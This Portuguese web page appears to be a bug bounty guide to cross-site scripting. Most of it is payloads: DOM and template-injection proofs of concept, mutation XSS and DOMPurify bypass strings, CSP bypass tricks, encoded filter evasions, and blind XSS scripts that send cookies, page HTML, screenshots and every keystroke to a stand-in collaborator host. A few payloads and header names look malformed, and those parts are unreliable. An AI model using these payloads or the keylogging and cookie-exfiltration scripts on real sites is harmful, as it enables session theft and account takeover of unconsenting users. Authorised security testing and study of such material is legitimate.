XSS Deep Dive: Cross-Site Scripting avançado
Baixar PDFDOM XSS, mutation XSS, template injection, mXSS, filter bypass avançado, CSP bypass, exploitation real — o guia definitivo de XSS para bug bounty.
XSS é a vulnerabilidade mais encontrada em bug bounty, mas a maioria dos hunters para no alert(1). O payout está no impacto real — account takeover, defacement, exfiltração de dados. Esta página vai além do básico.
Taxonomia de XSS
XSS
├── Reflected (server-side, não persiste)
├── Stored (persiste no banco/servidor)
├── DOM-based (client-side, JavaScript manipula DOM)
├── Mutation XSS (mXSS — browser muta HTML perigosamente)
├── Blind XSS (executa em contexto diferente — admin panel)
└── Universal XSS (uXSS — vulnerabilidade no browser)DOM-based XSS
DOM XSS acontece no JavaScript do cliente, sem tocar no servidor. Ferramentas de scanning não detectam porque não veem o fluxo client-side.
Sources (onde o atacante controla dados)
| Source | API |
|---|---|
| URL hash | location.hash, location.href |
| URL params | location.search, URLSearchParams |
| URL path | location.pathname |
| Referrer | document.referrer |
| Window name | window.name |
| PostMessage | addEventListener('message') |
| Storage | localStorage, sessionStorage |
| Cookies | document.cookie |
| Web APIs | history.pushState, document.write |
Sinks (onde o dado perigoso é usado)
| Sink | Perigo |
|---|---|
innerHTML | HTML injection (mas não executa <script>) |
outerHTML | Substitui elemento inteiro |
document.write() | HTML injection direto |
insertAdjacentHTML() | HTML injection |
eval() | Code execution |
setTimeout/setInterval (string) | Code execution |
Function() | Code execution |
location.href | Open redirect / protocol handler |
location.replace() | Open redirect |
window.open() | Open redirect |
document.domain | Same-origin bypass |
element.src | Script injection via src |
element.setAttribute('href') | JavaScript URL |
jQuery.html() | Equivalente a innerHTML |
jQuery.append() | HTML injection |
Vue.v-html | Template injection |
React dangerouslySetInnerHTML | HTML injection |
Angular ng-bind-html | Template injection |
Exemplos de DOM XSS
// 1. location.hash → innerHTML
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = `Hello ${name}`;
// PoC: https://target.com/page#<img src=x onerror=alert(1)>
// 2. URL params → eval
const config = new URLSearchParams(location.search).get('callback');
eval(config);
// PoC: https://target.com/page?callback=alert(document.cookie)
// 3. postMessage sem validação
window.addEventListener('message', (e) => {
document.body.innerHTML += e.data;
});
// PoC: iframe.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
// 4. window.name → document.write
document.write('<h1>Welcome ' + window.name + '</h1>');
// PoC: window.open('https://target.com/page', '<img src=x onerror=alert(1)>')
// 5. Angular template injection
// {{constructor.constructor('alert(1)')()}}
// {{$on.constructor('alert(1)')()}}
// {{"a".constructor.prototype.charAt=[].join;$eval('x=1>alert(1)')}}
// 6. Vue.js injection
// {{constructor.constructor('alert(1)')()}}
// this.constructor.constructor('alert(1)')()
// 7. React dangerouslySetInnerHTML
// <div dangerouslySetInnerHTML={{__html: userInput}} />
// PoC: <img src=x onerror=alert(1)>DOM Invader (Burp extension)
1. Instalar DOM Invader no Burp Suite
2. Habilitar na aba DOM Invader
3. Navegar pelo alvo — ele detecta automaticamente:
- Sources → Sinks flows
- Controllable parameters
- DOM XSS candidates
4. Usar "Test injection" para confirmarMutation XSS (mXSS)
O browser muta HTML de formas inesperadas. Input que parece seguro vira perigoso após parsing.
Exemplos de mXSS
<!-- 1. NAMESPACE confusion -->
<!-- O browser converte SVG para HTML namespace -->
<svg><p><style><img src=x onerror=alert(1)></style></p></svg>
<!-- Após mutação, <img> sai do <style> e executa -->
<!-- 2. TEMPLATE elements -->
<!-- Template content é inert, mas cópia pode quebrar -->
<template><img src=x onerror=alert(1)></template>
<!-- innerHTML do template.content revela o payload -->
<!-- 3. NOSCRIPT context -->
<!-- Em páginas com script habilitado, noscript é ignorado -->
<!-- MAS innerHTML de noscript pode executar -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>"></noscript>
<!-- 4. MathML/SVG namespace tricks -->
<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>">
<svg><p><style><img src=x onerror=alert(1)></style></p></svg>
<!-- 5. DOMPurify bypass (CVE-2020-26870) -->
<!-- Usar <form> + <input> para bypass de sanitizer -->
<form><math><mtext></form><form><mglyph><style>
<img src=x onerror=alert(1)>
</style>Por que mXSS importa para bug bounty
1. Sanitizers (DOMPurify, bleach) podem ser bypassados via mutation
2. Frameworks que serializam e re-parseiam HTML são vulneráveis
3. Email clients, CMS, rich text editors são alvos primários
4. Payouts altos porque afetam TODOS os usuáriosBlind XSS
Blind XSS executa em contexto que você não vê — painel admin, logs, dashboard interno.
Setup de callback
// 1. Usar Burp Collaborator
// Inserir payload que faz callback para collaborator
<script src="https://BURP_COLLABORATOR/xss"></script>
// 2. Usar interactsh (gratuito)
<script src="https://UNIQUE_ID.interact.sh/xss"></script>
// 3. Usar webhook.site
<img src="https://webhook.site/UNIQUE_ID">
// 4. Usar XSSHunter (especializado em blind XSS)
<script src="https://xsshunter.trufflehog.com/api/key/KEY"></script>Payloads de Blind XSS
// Admin panel detection
<script>
fetch('https://COLLABORATOR/admin?cookie='+document.cookie+'&url='+location.href+'&ua='+navigator.userAgent);
</script>
// Screenshot via html2canvas (se carregado)
<script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js"></script>
<script>
setTimeout(() => {
html2canvas(document.body).then(canvas => {
fetch('https://COLLABORATOR/screenshot', {
method: 'POST',
body: canvas.toDataURL()
});
});
}, 2000);
</script>
// Exfiltração de DOM
<script>
var html = document.documentElement.outerHTML;
var b64 = btoa(unescape(encodeURIComponent(html)));
new Image().src = 'https://COLLABORATOR/dom?data=' + b64.substring(0, 4000);
</script>
// Keylogger (se persistir)
<script>
document.addEventListener('keypress', function(e) {
new Image().src = 'https://COLLABORATOR/keys?k=' + e.key;
});
</script>Onde inserir Blind XSS
1. Campos de formulário que vão para admin:
- Name, email, address em checkout
- Support tickets / feedback
- Comments em CMS admin
- User profile fields
2. Logs que são renderizados em painel:
- User-Agent header
- Referer header
- HTTP request logs
- Error tracking (Sentry, etc.)
3. Headers HTTP:
- X-Forwarded-For
- User-Agent
- Referer
- Custom headersCSP Bypass
Content Security Policy bloqueia XSS — mas é bypassável se mal configurado.
Análise de CSP
# CSP fraca → bypass possível
Content-Script-Src: 'unsafe-inline'
→ Inline scripts executam → sem proteção
Content-Security-Policy: script-src 'unsafe-eval'
→ eval() funciona → code execution
Content-Security-Policy: script-src 'self'
→ Se tem JSONP endpoint → bypass
→ /api/user/callback?callback=alert(1)
Content-Security-Policy: script-src https://cdnjs.cloudflare.com
→ Se CDN tem library vulnerável → bypass
→ AngularJS 1.x: {{constructor.constructor('alert(1)')()}}
Content-Security-Policy: script-src *.target.com
→ Subdomain takeover → injetar script
→ XSS em subdomínio → bypass de CSP do domínio principal
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'
→ style-src 'unsafe-inline' → injectar CSS com animation
→ <style> @keyframes x{from{}to{}} a{animation:x} </style>CSP bypass via JSONP
# Encontrar endpoints JSONP no mesmo domínio
ffuf -u https://target.com/FUZZ?callback=test -w /wordlists/jsonp.txt
# Google JSONP
https://accounts.google.com/o/oauth2/v2/auth?callback=alert(1)#
# Yahoo JSONP
https://login.yahoo.com/config?callback=alert(1)#XSS Filter Bypass — Arsenal
Encoding bypass
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- URL encoding -->
%3Cscript%3Ealert(1)%3C%2Fscript%3E
<!-- Double encoding -->
%253Cscript%253Ealert(1)%253C%252Fscript%253E
<!-- Unicode encoding -->
<script>alert\u00281\u0029</script>
<!-- Hex encoding -->
<img src=x onerror=\x61\x6c\x65\x72\x74\x28\x31\x29>
<!-- Octal encoding -->
<img src=x onerror=\141\154\145\162\164\50\61\51>Context-specific bypass
<!-- Inside <script> var -->
</script><script>alert(1)</script>
';alert(1)//
\'-alert(1)-\'
<!-- Inside <script> var (template literal) -->
${alert(1)}
`-alert(1)-`
<!-- Inside href -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
vbscript:alert(1)
<!-- Inside event handler -->
" autofocus onfocus=alert(1) "
" onmouseover=alert(1) "
" onpointerenter=alert(1) "
<!-- Inside <textarea> or <xmp> -->
</textarea><script>alert(1)</script>
</xmp><script>alert(1)</script>
<!-- Inside <noscript> (when JS enabled) -->
</noscript><script>alert(1)</script>Exotic tags and events
<!-- Tags -->
<svg/onload=alert(1)>
<math><mtext><table><mglyph><svg><mtext><style><img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<source src=x onerror=alert(1)>
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<!-- Without parentheses -->
<script>alert`1`</script>
<script>alert\u00601\u0060</script>
<img src=x onerror=alert`1`>
<!-- Without alert -->
<script>onerror=alert;throw 1</script>
<script>{onerror=alert}throw 1</script>
<script>throw onerror=alert,1</script>
<script>var{a]onerror]=alert}throw 1</script>Referências
Web Vulnerabilities: OWASP Top 10 e além
XSS, SQLi, SSRF, IDOR, broken authentication, CSRF, deserialization — cobertura técnica de cada classe de vulnerabilidade com payloads e detecção.
SQL Injection: exploração completa
UNION-based, blind boolean, blind time, out-of-band, second-order, NoSQL injection, ORM injection, WAF bypass — SQLi do básico ao avançado.